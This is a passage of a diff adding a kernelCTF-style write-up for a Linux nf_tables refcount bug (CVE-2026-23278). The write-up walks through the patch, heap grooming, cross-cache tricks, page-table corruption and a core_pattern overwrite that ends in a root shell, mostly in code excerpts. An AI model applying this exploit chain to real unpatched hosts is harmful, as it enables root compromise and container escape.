diff --git a/pocs/linux/kernelctf/CVE-2026-23278_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-23278_cos/docs/exploit.md new file mode 100644 index 000000000..8b3f09a79 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23278_cos/docs/exploit.md @@ -0,0 +1,634 @@ +# Exploit + +## 0. Table of Contents +- [Exploit](#exploit) + - [0. Table of Contents](#0-table-of-contents) + - [1. Background](#1-background) + - [2. Patch analysis](#2-patch-analysis) + - [3. Triggering the vulnerability (unbalanced refcount decrement)](#3-triggering-the-vulnerability-unbalanced-refcount-decrement) + - [4. Initialization for exploit](#4-initialization-for-exploit) + - [4.1 Disable buffering](#41-disable-buffering) + - [4.2 Setup namespaces](#42-setup-namespaces) + - [4.3 Pinning the CPU](#43-pinning-the-cpu) + - [5. Exploit for COS-121-18867.381.30 Instance](#5-exploit-for-cos-121-18867381-30-instance) + - [5.1 Overview](#51-overview) + - [5.2 Preparation for object manipulation](#52-preparation-for-object-manipulation) + - [5.3 Heap grooming](#53-heap-grooming) + - [5.4 Triggering the vulnerability](#54-triggering-the-vulnerability) + - [5.5 Cross-cache from `kmalloc-cg-128` to `kmalloc-16`](#55-cross-cache-from-kmalloc-cg-128-to-kmalloc-16) + - [5.6 Detecting UAF'd `unix_address`](#56-detecting-uafd-unix_address) + - [5.7 Pivoting `unix_address` UAF into page UAF](#57-pivoting-unix_address-uaf-into-page-uaf) + - [5.8 Page table corruption for physical AARW](#58-page-table-corruption-for-physical-aarw) + - [5.9 Bypassing physASLR](#59-bypassing-physaslr) + - [5.10 Post exploitation](#510-post-exploitation) + - [6. Summary](#6-summary) + +## 1. Background + +Netfilter nf_tables is a modern packet filtering framework in Linux. It allows defining rules and actions for handling incoming and outgoing network packets. The subsystem consists of several key components: `table`, `chain`, `rule`, `expressions`, and `set`. At the top level, each `table` represents a distinct logical domain for packet filtering. Within a `table`, `chain` objects are defined as ordered sets of `rule`. + +A `set` stores unique elements such as addresses or port numbers. When a set has the `NFT_SET_MAP` flag, it acts as a verdict map, where each element maps a key to a verdict (e.g., `goto` or `jump` to a specific chain). A set element with the `NFT_SET_ELEM_CATCHALL` flag acts as a default match when no other element matches the lookup key. Verdict map elements that reference a chain via `NFT_GOTO` or `NFT_JUMP` increment the target chain's `use` reference count. + +nf_tables supports a transaction mechanism for commands. Multiple commands can be applied as a single batch through Netlink socket. If any command in the batch fails, the entire batch is aborted, and the abort path restores each component to its previous state. + +To interact with Netfilter nf_tables subsystem on the user program, [libmnl library](https://www.netfilter.org/projects/libmnl/) and the [libnftnl library](https://www.netfilter.org/projects/libnftnl/index.html) are commonly used. Our exploit also utilized these libraries. + +## 2. Patch analysis + +- commit "netfilter: nf_tables: always walk all pending catchall elements" +- Fixes: [628bd3e49cba1c066228e23d71a852c23e26da73](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=628bd3e49cba1c066228e23d71a852c23e26da73) + +```diff +diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c +--- a/net/netfilter/nf_tables_api.c ++++ b/net/netfilter/nf_tables_api.c +@@ -829,7 +829,6 @@ static void nft_map_catchall_deactivate(const struct nft_ctx *ctx, + + nft_set_elem_change_active(ctx->net, set, ext); + nft_setelem_data_deactivate(ctx->net, set, catchall->elem); +- break; + } + } + +@@ -5873,7 +5872,6 @@ static void nft_map_catchall_activate(const struct nft_ctx *ctx, + + nft_clear(ctx->net, ext); + nft_setelem_data_activate(ctx->net, set, catchall->elem); +- break; + } + } +``` + +This patch removes the `break` statements from both `nft_map_catchall_deactivate()` and `nft_map_catchall_activate()`. During a transaction, a verdict map's catchall list may contain more than one element simultaneously: a live catchall being deleted (`DELSETELEM`) and a new catchall being added (`NEWSETELEM`) in the same batch. If the verdict map itself is also deleted (`DELSET`) in the same batch, both functions must iterate and process *all* catchall elements — not just the first matching one. The `break` statements cause only the first active catchall to be processed. When the batch is subsequently aborted, the second catchall's chain data references are not properly restored, leading to a `chain->use` counter underflow and use-after-free. + +## 3. Triggering the vulnerability (unbalanced refcount decrement) + +In this section, we discuss how the `break` statement in `nft_map_catchall_deactivate()` and `nft_map_catchall_activate()` causes an unbalanced refcount decrement and eventually leads to use-after-free. + +When a verdict map element references a chain via `NFT_GOTO`, the `nft_setelem_data_activate()` and `nft_setelem_data_deactivate()` functions manage the chain's `use` reference count. These are called during transaction prepare (deactivation) and abort (reactivation) phases. + +- [net/netfilter/nf_tables_api.c:nft_map_catchall_deactivate()](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/nf_tables_api.c?h=v6.6) +```c +static void nft_map_catchall_deactivate(const struct nft_ctx *ctx, + struct nft_set *set) +{ + u8 genmask = nft_genmask_next(ctx->net); + struct nft_set_elem_catchall *catchall; + struct nft_set_ext *ext; + + list_for_each_entry(catchall, &set->catchall_list, list) { + ext = nft_set_elem_ext(set, catchall->elem); + if (!nft_set_elem_active(ext, genmask)) + continue; + nft_set_elem_change_active(ctx->net, set, ext); + nft_setelem_data_deactivate(ctx->net, set, catchall->elem); + break; // [BUG] stops after first match; second catchall not processed + } +} +``` + +- [net/netfilter/nf_tables_api.c:nft_map_catchall_activate()](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/nf_tables_api.c?h=v6.6) +```c +static void nft_map_catchall_activate(const struct nft_ctx *ctx, + struct nft_set *set) +{ + u8 genmask = nft_genmask_next(ctx->net); + struct nft_set_elem_catchall *catchall; + struct nft_set_ext *ext; + + list_for_each_entry(catchall, &set->catchall_list, list) { + ext = nft_set_elem_ext(set, catchall->elem); + if (!nft_set_elem_active(ext, genmask)) + continue; + nft_clear(ctx->net, ext); + nft_setelem_data_activate(ctx->net, set, catchall->elem); + break; // [BUG] stops after first match; second catchall not restored + } +} +``` + +The following transaction sequence triggers the unbalanced refcount decrement: + +1. Create a table, a base chain, a verdict map `vmap`, and a non-base `target_chain`. +2. Add a catchall element (`catchall_A`) to `vmap` with `goto target_chain` verdict. This increments `target_chain->use` to 1. +3. Send a batch containing: + - `DELRULE`: Remove the existing lookup rule. + - `DELSETELEM(catchall_A)`: Marks `catchall_A` as inactive for the next generation; `nft_setelem_data_deactivate()` decrements `target_chain->use` to 0. + - `NEWSETELEM(catchall_B, goto target_chain)`: Adds a new catchall `catchall_B`; `nft_setelem_data_activate()` increments `target_chain->use` back to 1. Now both `catchall_A` and `catchall_B` are in the catchall list simultaneously. + - `DELSET(vmap)`: `nft_map_catchall_deactivate()` is called. It iterates the catchall list and finds the first active element. Due to the `break`, only one element's chain reference is decremented; `target_chain->use` reaches 0 and the second catchall is skipped. + - `NEWRULE` on a non-existent chain (`__bad__`): Fails, causing the entire batch to abort. +4. During abort, `nft_map_catchall_activate()` is called to restore the deactivated catchall elements. Due to the `break`, it again only restores one element's chain reference. The `target_chain->use` remains 0 instead of being fully restored. + +- [exploit/cos-121-18867.381.30/exploit.cpp#L858](../exploit/cos-121-18867.381.30/exploit.cpp#L858) +```c +/* Batch: DELRULE + DELSETELEM(old catchall) + NEWSETELEM(new catchall) + * + DELSET + NEWRULE(bad chain -> forces abort) + * + * During prepare: both catchalls processed, chain->use decremented twice. + * During abort: break skips re-activation of second catchall. + * Result: chain->use = 0 while the catchall still references the chain. */ +{ + nft_del_rules(b, &seq, FAM, TAB, BCH); + nft_del_catchall(b, &seq, FAM, TAB, VMAP); + nft_add_catchall(b, &seq, FAM, TAB, VMAP, VMID, TCH); + nft_del_set(b, &seq, FAM, TAB, VMAP); + nft_add_fail(b, &seq, FAM, TAB); +} +``` + +With `target_chain->use == 0`, a subsequent `DELCHAIN(target_chain)` succeeds and the chain object is freed, while the verdict map's remaining catchall element (`catchall_B`) still holds a stale pointer to it. + +## 4. Initialization for exploit +Before triggering the vulnerability, the exploit takes the following steps: +1. Disable buffering +2. Setup namespaces +3. Pinning the CPU + +### 4.1 Disable buffering +- [exploit/cos-121-18867.381.30/exploit.cpp#L580](../exploit/cos-121-18867.381.30/exploit.cpp#L580) +```c +setvbuf(stdin, 0, 2, 0); +setvbuf(stdout, 0, 2, 0); +setvbuf(stderr, 0, 2, 0); +``` +Disable buffering for `stdin`, `stdout`, and `stderr` with `setvbuf`. + +### 4.2 Setup namespaces +- [exploit/cos-121-18867.381.30/exploit.cpp#L722](../exploit/cos-121-18867.381.30/exploit.cpp#L722) +```c +unshare_setup(getuid(), getgid()); +``` +- [exploit/cos-121-18867.381.30/exploit.cpp#L185](../exploit/cos-121-18867.381.30/exploit.cpp#L185) +```c +static void unshare_setup(uid_t uid, gid_t gid) +{ + char edit[64]; + int fd; + + unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET); + + fd = open("/proc/self/setgroups", O_WRONLY); + if (fd >= 0) { write(fd, "deny", 4); close(fd); } + + fd = open("/proc/self/uid_map", O_WRONLY); + if (fd >= 0) { + snprintf(edit, sizeof(edit), "0 %d 1", uid); + write(fd, edit, strlen(edit)); + close(fd); + } + + fd = open("/proc/self/gid_map", O_WRONLY); + if (fd >= 0) { + snprintf(edit, sizeof(edit), "0 %d 1", gid); + write(fd, edit, strlen(edit)); + close(fd); + } +} +``` +We create and enter user/network namespace with `unshare` syscall. This is necessary to trigger the vulnerability in the Netfilter nf_tables subsystem as an unprivileged user, since it requires `CAP_NET_ADMIN` capability. + +### 4.3 Pinning the CPU +- [exploit/cos-121-18867.381.30/exploit.cpp#L730](../exploit/cos-121-18867.381.30/exploit.cpp#L730) +```c +pin_cpu(0); +``` +- [exploit/cos-121-18867.381.30/exploit.cpp#L210](../exploit/cos-121-18867.381.30/exploit.cpp#L210) +```c +static void pin_cpu(int cpu) +{ + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(cpu, &set); + sched_setaffinity(0, sizeof(set), &set); +} +``` +Pinning the current task to CPU core 0 with `sched_setaffinity` syscall. This is to maintain the exploit context in the same core to utilize the percpu slab cache and freelist. + +## 5. Exploit for COS-121-18867.381.30 Instance + +In this section, we discuss the exploit in detail for `cos-121-18867.381.30` instances. + +### 5.1 Overview +This exploit takes the following steps: +1. Preparation for object manipulation +2. Heap grooming +3. Triggering the vulnerability +4. Cross-cache #1: `kmalloc-cg-128` to `kmalloc-16` +5. Detecting UAF'd `unix_address` and triggering double free +6. Cross-cache #2: `kmalloc-16` to pipe page (page UAF) +7. Page table corruption for physical AARW +8. Bypassing physASLR +9. Post exploitation + +### 5.2 Preparation for object manipulation + +First, we initialize the message queues and socket arrays for heap spray. + +- [exploit/cos-121-18867.381.30/exploit.cpp#L754](../exploit/cos-121-18867.381.30/exploit.cpp#L754) +```c +init_msgq(defrag_mq, DEFRAG_MSG_SZ); +init_sock(defrag_sk, DEFRAG_SOCK_SZ); + +init_msgq(cc_mq1, CC_MSG_SZ); +init_msgq(cc_mq2, CC_MSG_SZ); +init_sock(srv_sk, RECLAIM_SOCK_SZ); +init_sock(cli_sk, RECLAIM_SOCK_SZ); +for (int i = 0; i < PIPE_SZ; i++) + pipe2(pipes[i], O_NONBLOCK); +``` + +Each object array performs the following roles: +- `defrag_mq` / `defrag_sk`: Used for defragmenting `kmalloc-cg-128` and `kmalloc-16` slab caches before reclamation. +- `cc_mq1` / `cc_mq2`: `msg_msg` objects (0x80 bytes) sprayed in `kmalloc-cg-128` surrounding the victim `nft_chain` object. Freeing these helps return the slab page to the page allocator for cross-cache. +- `srv_sk` / `cli_sk`: Unix sockets whose `unix_address` objects (16 bytes, in `kmalloc-16`) reclaim the freed chain's page. +- `pipes`: Pipe pairs used to create pipe buffer pages that will overlap with page tables. + +### 5.3 Heap grooming + +- [exploit/cos-121-18867.381.30/exploit.cpp#L781](../exploit/cos-121-18867.381.30/exploit.cpp#L781) + +We create the nf_tables objects in a specific order to sandwich the `target_chain` allocation between `msg_msg` spray objects in `kmalloc-cg-128`. + +```c +/* Defragment kmalloc-cg-128 so chain lands on a fresh page */ +spray_msg(defrag_mq, DEFRAG_MSG_SZ, MSG_MSG_SIZE, msg_data, 1); + +/* Create table + base chain + verdict map */ +nft_add_table(b, &seq, FAM, TAB); +nft_add_chain(b, &seq, FAM, TAB, BCH, true); +nft_add_vmap(b, &seq, FAM, TAB, VMAP, VMID); +``` + +- [exploit/cos-121-18867.381.30/exploit.cpp#L801](../exploit/cos-121-18867.381.30/exploit.cpp#L801) +```c +/* Spray msg_msg -> create target chain -> spray more msg_msg */ +spray_msg(cc_mq1, CC_MSG_SZ, MSG_MSG_SIZE, msg_data, 2); // [1] +nl_send(b); /* target_chain allocated here */ +spray_msg(cc_mq2, CC_MSG_SZ, MSG_MSG_SIZE, msg_data, 2); // [2] +``` + +We spray `CC_MSG_SZ` (0x400) `msg_msg` objects of size `MSG_MSG_SIZE` (0x80) before [1] and after [2] the `target_chain` creation. `msg_msg` at 0x80 bytes (including 48-byte header) occupies `kmalloc-cg-128`. This places the chain object between two blocks of `msg_msg` objects on the same slab page, which is critical for the cross-cache step later. + +- [exploit/cos-121-18867.381.30/exploit.cpp#L810](../exploit/cos-121-18867.381.30/exploit.cpp#L810) +```c +/* Add catchall element (goto target_chain) + lookup rule */ +nft_add_catchall(b, &seq, FAM, TAB, VMAP, VMID, TCH); +nft_add_lookup(b, &seq, FAM, TAB, BCH, VMAP, VMID); +``` + +We add a catchall element to the verdict map with a `goto target_chain` verdict. This increments `target_chain->use` to 1. + +### 5.4 Triggering the vulnerability + +Before triggering the bug, we pre-stage the cross-cache reclaim to minimize the window between `DELCHAIN` and the reclaim spray: + +- [exploit/cos-121-18867.381.30/exploit.cpp#L824](../exploit/cos-121-18867.381.30/exploit.cpp#L824) +```c +/* Pre-build DELCHAIN batch (don't send yet) */ +struct mnl_nlmsg_batch *delchain_batch = ...; +nft_del_chain(delchain_batch, &seq, FAM, TAB, TCH); + +/* Bind defrag sockets (kmalloc-16) to fill partial slabs */ +for (int i = 0; i < DEFRAG_SOCK_SZ; i++) { + *(size_t *)(&addr.sun_path[1]) = i + 1; + bind(defrag_sk[i], (struct sockaddr *)&addr, g_bind_len); +} + +/* Free msg_msg around chain -> slab page mostly empty -> buddy */ +release_msg(cc_mq1, CC_MSG_SZ); +release_msg(cc_mq2, CC_MSG_SZ); +sched_yield(); +``` + +We then send the abort-triggering batch described in [Section 3](#3-triggering-the-vulnerability-unbalanced-refcount-decrement): + +- [exploit/cos-121-18867.381.30/exploit.cpp#L858](../exploit/cos-121-18867.381.30/exploit.cpp#L858) +```c +/* DELRULE + DELSETELEM + NEWSETELEM + DELSET + NEWRULE(fail) -> abort */ +nft_del_rules(b, &seq, FAM, TAB, BCH); +nft_del_catchall(b, &seq, FAM, TAB, VMAP); +nft_add_catchall(b, &seq, FAM, TAB, VMAP, VMID, TCH); +nft_del_set(b, &seq, FAM, TAB, VMAP); +nft_add_fail(b, &seq, FAM, TAB); +nl_send(b); /* returns -ENOENT from __bad__ chain */ +``` + +After the batch aborts, `target_chain->use == 0`. + +### 5.5 Cross-cache from `kmalloc-cg-128` to `kmalloc-16` + +The `nft_chain` object is allocated in `kmalloc-cg-128`. To reclaim the freed chain's memory with a different object type, we perform a cross-cache attack to move the underlying slab page from `kmalloc-cg-128` to `kmalloc-16`. + +- [include/net/af_unix.h:struct unix_address](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/net/af_unix.h?h=v6.6) +```c +struct unix_address { + refcount_t refcnt; // [1] 4 bytes + int len; // [2] 4 bytes + struct sockaddr_un name[]; +}; +``` + +The `unix_address` object is allocated when `bind()` is called on a unix socket (via `unix_create_addr()`). Its size is `sizeof(unix_address)` (8 bytes) + the address length. We use `addr_len = 0x10 - sizeof(struct unix_address) = 8`, making the total allocation 16 bytes, thus placing it in `kmalloc-16`. + +The `unix_address` refcount lifecycle is managed by three operations: + +- [net/unix/af_unix.c:unix_create_addr()](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/unix/af_unix.c?h=v6.6) +```c +static struct unix_address *unix_create_addr(struct sockaddr_un *sunaddr, int addr_len) +{ + struct unix_address *addr; + addr = kmalloc(sizeof(*addr) + addr_len, GFP_KERNEL); + // ... + refcount_set(&addr->refcnt, 1); // [1] initialized to 1 on bind() + return addr; +} +``` + +- [net/unix/af_unix.c:unix_stream_connect()](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/unix/af_unix.c?h=v6.6) +```c + refcount_inc(&otheru->addr->refcnt); // [2] +1 when client connects + smp_store_release(&newu->addr, otheru->addr); +``` + +- [net/unix/af_unix.c:unix_release_addr()](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/unix/af_unix.c?h=v6.6) +```c +static inline void unix_release_addr(struct unix_address *addr) +{ + if (refcount_dec_and_test(&addr->refcnt)) // [3] -1; kfree when 0 + kfree(addr); +} +``` + +On `bind()`, `refcnt` is initialized to 1 [1]. When a client calls `connect()`, `unix_stream_connect()` increments `refcnt` to 2 [2] as the child socket shares the listener's address. On socket destruction, `unix_sock_destructor()` calls `unix_release_addr()` [3] to drop one reference; the last decrement triggers `kfree()`. + +Now we send the pre-built `DELCHAIN` batch and immediately spray `unix_address` objects to reclaim the freed chain page: + +- [exploit/cos-121-18867.381.30/exploit.cpp#L876](../exploit/cos-121-18867.381.30/exploit.cpp#L876) +```c +/* Step 1: Send DELCHAIN - chain->use is 0, so kernel allows it */ +sched_yield(); +ret = nl_send(delchain_batch); + +/* Step 2: Immediately reclaim with unix_address objects (kmalloc-16) */ +for (int i = 0; i < RECLAIM_SOCK_SZ; i++) { + *(size_t *)(&addr.sun_path[1]) = (size_t)(i + 1) + MAGIC; // [1] + bind(srv_sk[i], (struct sockaddr *)&addr, g_bind_len); +} +``` + +We allocate `RECLAIM_SOCK_SZ` (0x400) `unix_address` objects [1] with names containing the `MAGIC` (0xdeadbeef) marker plus an index. These `kmalloc-16` allocations reclaim pages from the page allocator, including the page that previously held the chain object. + +We then connect client sockets to server sockets to increase the `unix_address` refcount: +- [exploit/cos-121-18867.381.30/exploit.cpp#L891](../exploit/cos-121-18867.381.30/exploit.cpp#L891) +```c +for (int i = 0; i < RECLAIM_SOCK_SZ; i++) + listen(srv_sk[i], 2); +for (int i = 0; i < RECLAIM_SOCK_SZ; i++) { + *(size_t *)(&addr.sun_path[1]) = (size_t)(i + 1) + MAGIC; + connect(cli_sk[i], (struct sockaddr *)&addr, g_bind_len); // [1] +} +for (int i = 0; i < RECLAIM_SOCK_SZ; i++) { + int a = accept(srv_sk[i], NULL, NULL); + if (a >= 0) close(a); +} +``` + +Connecting the client socket to the server socket [1] increments the server's `unix_address->refcnt` from 1 to 2. This is critical for what follows. + +When the table is deleted (Phase 5 UAF write), the verdict map and its remaining catchall element are destroyed. The catchall element's `goto` verdict still references the stale chain pointer, which now overlaps with a `unix_address` object. During destruction, `nft_use_dec()` performs a UAF write on the stale chain pointer to decrement what it thinks is `chain->use`. However, this field overlaps with `unix_address->refcnt`, causing the refcount to drop from 2 to 1: + +- [exploit/cos-121-18867.381.30/exploit.cpp#L917](../exploit/cos-121-18867.381.30/exploit.cpp#L917) +```c +/* del_table -> nft_flush_table -> nft_map_catchall_deactivate + * -> nft_setelem_data_deactivate -> nft_verdict_uninit + * -> nft_use_dec(&chain->use) + * chain is freed; this is a UAF write onto unix_address->refcnt: 2 -> 1 */ +nft_del_table(b, &seq, FAM, TAB); +nl_send(b); +``` + +This creates a refcount imbalance: the `unix_address` has two live references (server socket + client socket) but a refcount of only 1. + +### 5.6 Detecting UAF'd `unix_address` + +To identify which server socket has the refcount-corrupted `unix_address`, we close each client socket and probe with `getsockname()`. + +- [exploit/cos-121-18867.381.30/exploit.cpp#L936](../exploit/cos-121-18867.381.30/exploit.cpp#L936) +```c +int uaf_idx = -1; +for (int i = 0; i < RECLAIM_SOCK_SZ; i++) { + if (uaf_idx >= 0) { close(cli_sk[i]); continue; } + close(cli_sk[i]); // [1] + probe_len = sizeof(probe_addr); + if (getsockname(srv_sk[i], (struct sockaddr *)&probe_addr, &probe_len) < 0) + continue; + if (*(uintptr_t *)(&probe_addr.sun_path[1]) - MAGIC != (uintptr_t)(i + 1)) { // [2] + HIT("UAF at socket %d", i); + uaf_idx = i; + } +} +``` + +Closing the client socket [1] drops one reference to the `unix_address`. For the corrupted `unix_address` (whose refcount was lowered from 2 to 1 by the UAF), this drops the refcount to 0, causing the `unix_address` to be freed even though the server socket still holds a reference. We detect this by checking `getsockname()` [2]: if the returned name no longer matches the expected `MAGIC + index`, the `unix_address` was prematurely freed, and we record that socket index as `uaf_idx`. + +### 5.7 Pivoting `unix_address` UAF into page UAF + +We now pivot the `unix_address` UAF into a page-level UAF by leveraging the freed page. + +- [exploit/cos-121-18867.381.30/exploit.cpp#L953](../exploit/cos-121-18867.381.30/exploit.cpp#L953) +```c +/* Step 1: Close all server sockets except the UAF one */ +for (int i = 0; i < RECLAIM_SOCK_SZ; i++) + if (i != uaf_idx) close(srv_sk[i]); +for (int i = 0; i < DEFRAG_SOCK_SZ; i++) + close(defrag_sk[i]); +sched_yield(); + +/* Step 2: Write to pipes (pipe pages grab freed slab pages from buddy) */ +for (int i = 0; i < PIPE_SZ; i++) + write(pipes[i][1], pipe_data, PG_SIZE); // [1] + +/* Step 3: mmap large region for page table spray */ +void *mmap_base = mmap((void *)MMAP_ADDR, MMAP_SZ, + PROT_READ | PROT_WRITE, + MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED, -1, 0); +madvise(mmap_base, MMAP_SZ, MADV_NOHUGEPAGE); // [2] +``` + +We write a full page of `0x00000001` pattern (as `int`) to each pipe [1]. The value `1` is chosen deliberately: if a pipe buffer page overlaps with a `unix_address` object, it overwrites `refcnt` to 1. This means closing the server socket will drop the refcount to 0 and trigger `kfree()`, resulting in an invalid double free. The pipe writes also drain the PCP (per-cpu page) buddy list for order-0 pages, ensuring that subsequent pipe buffer and page table allocations compete for the same pages. We also `mmap` a large contiguous region (`PT_SZ * MMAP_GAP` = 0x100 * 0x200000 = 512 MB) and set `MADV_NOHUGEPAGE` [2] to ensure 4K page table entries instead of huge pages. + +- [exploit/cos-121-18867.381.30/exploit.cpp#L972](../exploit/cos-121-18867.381.30/exploit.cpp#L972) +```c +/* Step 4: Close the UAF server socket - triggers page free */ +sched_yield(); +close(srv_sk[uaf_idx]); // [1] +sched_yield(); + +/* Step 5: Touch pages in mmap region - allocates page tables */ +for (int i = 0; i < PT_SZ; i++) + *(uintptr_t *)((uintptr_t)mmap_base + MMAP_GAP * i) = (uintptr_t)(i + 1); // [2] +``` + +Closing the UAF server socket [1] triggers `unix_sock_destructor()`, which calls `unix_release_addr()` on the `unix_address` whose `refcnt` was overwritten to 1 by the pipe spray. This decrements the refcount to 0 and calls `kfree()` on the `unix_address`. However, this `kfree()` is an invalid free: the `unix_address`'s slab page has already been drained and returned to the page allocator, and the page is now occupied by pipe buffer pages. The SLUB allocator processes this invalid `kfree()` and frees one of the pipe buffer pages back to the page allocator (see [Novel Techniques: Exploiting unexpected behavior of invalid address kfree](https://github.com/c0m0r1/security-research/blob/f5fb37c09790fcae8ea4f363f77849a56d4033e7/pocs/linux/kernelctf/CVE-2026-23111_cos/docs/novel-techniques.md#exploiting-unexpected-behavior-of-invalid-address-kfree) for details). Each first memory access at a 2MB-aligned virtual address [2] then allocates a new page table (PTE page) from the page allocator. One of these PTE pages lands on the freed pipe buffer page, creating a pipe buffer / page table overlap. + +### 5.8 Page table corruption for physical AARW + +We now have a pipe buffer and a page table sharing the same physical page. Reading the pipe gives raw PTE entries; writing to the pipe overwrites them. + +- [exploit/cos-121-18867.381.30/exploit.cpp#L980](../exploit/cos-121-18867.381.30/exploit.cpp#L980) +```c +for (int i = 0; i < PIPE_SZ; i++) { + read(pipes[i][0], tmp_buf, PG_SIZE); + if (*(int *)tmp_buf != 1) { // [1] + found_pte = *(uintptr_t *)tmp_buf; // [2] + pte_pipe_idx = i; + + /* Shift PTE back 4 pages to create an observable remap */ + *(uintptr_t *)tmp_buf = found_pte - 0x4000; // [3] + write(pipes[i][1], tmp_buf, PG_SIZE); // [4] + flush_tlb(mmap_base, MMAP_SZ); + break; + } +} +``` + +We iterate through all pipes and read their contents. If the read data is not our `0x00000001` pattern [1], it contains PTE values [2], meaning this pipe's buffer page overlaps a page table. We then modify the first PTE to point `0x4000` (4 pages) earlier in physical memory [3] and write it back [4], creating a mapping to a different physical page. + +- [exploit/cos-121-18867.381.30/exploit.cpp#L999](../exploit/cos-121-18867.381.30/exploit.cpp#L999) +```c +for (int i = 0; i < PT_SZ; i++) { + uintptr_t val = *(uintptr_t *)((uintptr_t)mmap_base + MMAP_GAP * i); + if (val != (uintptr_t)(i + 1)) { // [1] + remap_va = (uintptr_t)mmap_base + MMAP_GAP * i; // [2] + break; + } +} +``` + +We find the corrupted virtual address by scanning the mmap region [1]. The virtual address at `remap_va` [2] now maps to a different physical page than originally intended. We use this address as the window for physical memory access. + +With the pipe as our PTE read/write channel, we build an `aar()` helper function for arbitrary physical read: + +- [exploit/cos-121-18867.381.30/exploit.cpp#L236](../exploit/cos-121-18867.381.30/exploit.cpp#L236) +```c +static void aar(int pipe_fd[2], void *dst, uintptr_t phys, + void *remap_va, size_t len) +{ + // 1. Read current PTE page via pipe + read(pipe_fd[0], pte_buf, PG_SIZE); + flags = pte_buf[0] & 0xfff; + + // 2. Construct PTEs pointing to target physical address + for (size_t i = 0; i < npages; i++, page_base += PG_SIZE) + pte_buf[i] = flags | page_base | 0x8000000000000000ULL; + + // 3. Write modified PTE page via pipe + write(pipe_fd[1], pte_buf, PG_SIZE); + + // 4. Flush TLB and read through the remapped virtual address + flush_tlb(remap_va, len); + memcpy(dst, (char *)remap_va + page_off, len); +} +``` + +The `flush_tlb` function uses `mprotect` and `clflush` to ensure the TLB is flushed: +- [exploit/cos-121-18867.381.30/exploit.cpp#L224](../exploit/cos-121-18867.381.30/exploit.cpp#L224) +```c +static void flush_tlb(void *ptr, size_t count) +{ + void *page = (void *)((uintptr_t)ptr & ~0xfffUL); + mprotect(page, count, PROT_READ | PROT_WRITE | PROT_EXEC); + mprotect(page, count, PROT_READ | PROT_WRITE); + asm volatile("mfence; clflush 0(%0); mfence" + : : "c"(ptr) : "rax", "memory"); +} +``` + +### 5.9 Bypassing physASLR + +With physical AARW established, we need to locate the kernel in physical memory. Physical ASLR (physASLR) randomizes the kernel's physical load address. We bypass this with a simple linear scan. Refer to [Effective bypass of physASLR section of novel-techniques.md](https://github.com/c0m0r1/security-research/blob/f5fb37c09790fcae8ea4f363f77849a56d4033e7/pocs/linux/kernelctf/CVE-2026-23111_cos/docs/novel-techniques.md#effective-bypass-of-physaslr) for details on why this works. + +- [exploit/cos-121-18867.381.30/exploit.cpp#L1019](../exploit/cos-121-18867.381.30/exploit.cpp#L1019) +```c +for (int slide = 0; ; slide++) { + uintptr_t phys = (g_core_pattern_phys & ~0xfffUL) + + (uintptr_t)slide * 0x1000000UL; // [1] + + aar(pte_fd, tmp_buf, phys, (void *)remap_va, PG_SIZE); + + char *check = tmp_buf + (g_core_pattern_phys & 0xfff); + if (memcmp(check, "core\0", 5) == 0) { // [2] + /* Write payload through the live remapped VA */ + char *live = (char *)(remap_va + (g_core_pattern_phys & 0xfff)); + strcpy(live, "|/proc/%P/fd/666 %P %P"); // [3] + munmap(mmap_base, MMAP_SZ); + break; + } +} +``` + +`g_core_pattern_phys` is the physical address of `core_pattern` (without KASLR), provided per-target via kernelXDK `AddSymbol`. We scan candidate base addresses at 16 MB (0x1000000) intervals [1] by reading one page at each candidate physical address. When the page contains the expected `"core"` string [2], we have found the kernel image and overwrite it with our `core_pattern` payload [3]. + +### 5.10 Post exploitation + +After overwriting `core_pattern`, we use it to execute code as root. + +- [exploit/cos-121-18867.381.30/exploit.cpp#L260](../exploit/cos-121-18867.381.30/exploit.cpp#L260) +```c +static void setup_fd666(void) +{ + int memfd = syscall(SYS_memfd_create, "", MFD_EXEC); + int exe_fd = open("/proc/self/exe", O_RDONLY); + sendfile(memfd, exe_fd, NULL, 0xffffffff); // [1] + close(exe_fd); + dup2(memfd, 666); // [2] + close(memfd); +} +``` + +- [exploit/cos-121-18867.381.30/exploit.cpp#L1048](../exploit/cos-121-18867.381.30/exploit.cpp#L1048) +```c +if (fork() == 0) { + pin_cpu(1); + for (int i = 0; i < 30 && !check_core(); i++) + usleep(50000); + *(volatile size_t *)0 = 0; /* [3] crash -> core dump -> root */ + _exit(1); +} +for(;;) sched_yield(); +``` + +The exploit calls `setup_fd666()` early in initialization, which: +1. Creates a `memfd` and copies the exploit binary itself into it [1]. +2. Duplicates the memfd to file descriptor 666 [2]. + +A forked child process polls until `core_pattern` has been overwritten, then triggers a null pointer dereference [3]. + +When the crash occurs, the kernel reads `core_pattern` which is now `|/proc/%P/fd/666 %P %P`. This causes the kernel to execute our binary (at `/proc//fd/666`) as root. + +- [exploit/cos-121-18867.381.30/exploit.cpp#L663](../exploit/cos-121-18867.381.30/exploit.cpp#L663) +```c +if (argc > 2) { + int target_pid = strtoull(argv[1], 0, 10); + int pidfd = syscall(SYS_pidfd_open, target_pid, 0); + dup2(syscall(SYS_pidfd_getfd, pidfd, 0, 0), 0); + dup2(syscall(SYS_pidfd_getfd, pidfd, 1, 0), 1); + dup2(syscall(SYS_pidfd_getfd, pidfd, 2, 0), 2); + system("cat /flag"); + execlp("bash", "bash", NULL); +} +``` + +When the binary is executed as root via `core_pattern`, it receives the crashing process's PID as an argument. It uses `pidfd_open` and `pidfd_getfd` to steal the parent's stdin/stdout/stderr file descriptors, reads the flag, and drops a root shell outside the container. + +## 6. Summary + +This exploit chains together the following primitives: +1. **Unbalanced refcount decrement** via `break` statement in 